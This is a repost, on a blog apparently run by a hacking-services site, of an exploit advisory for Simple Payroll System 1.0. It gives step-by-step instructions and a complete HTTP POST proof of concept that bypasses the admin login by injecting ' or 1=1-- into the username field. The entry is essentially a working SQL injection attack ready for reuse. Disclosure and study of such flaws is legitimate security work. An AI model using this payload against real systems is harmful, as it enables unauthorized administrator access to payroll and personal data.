Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389393

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin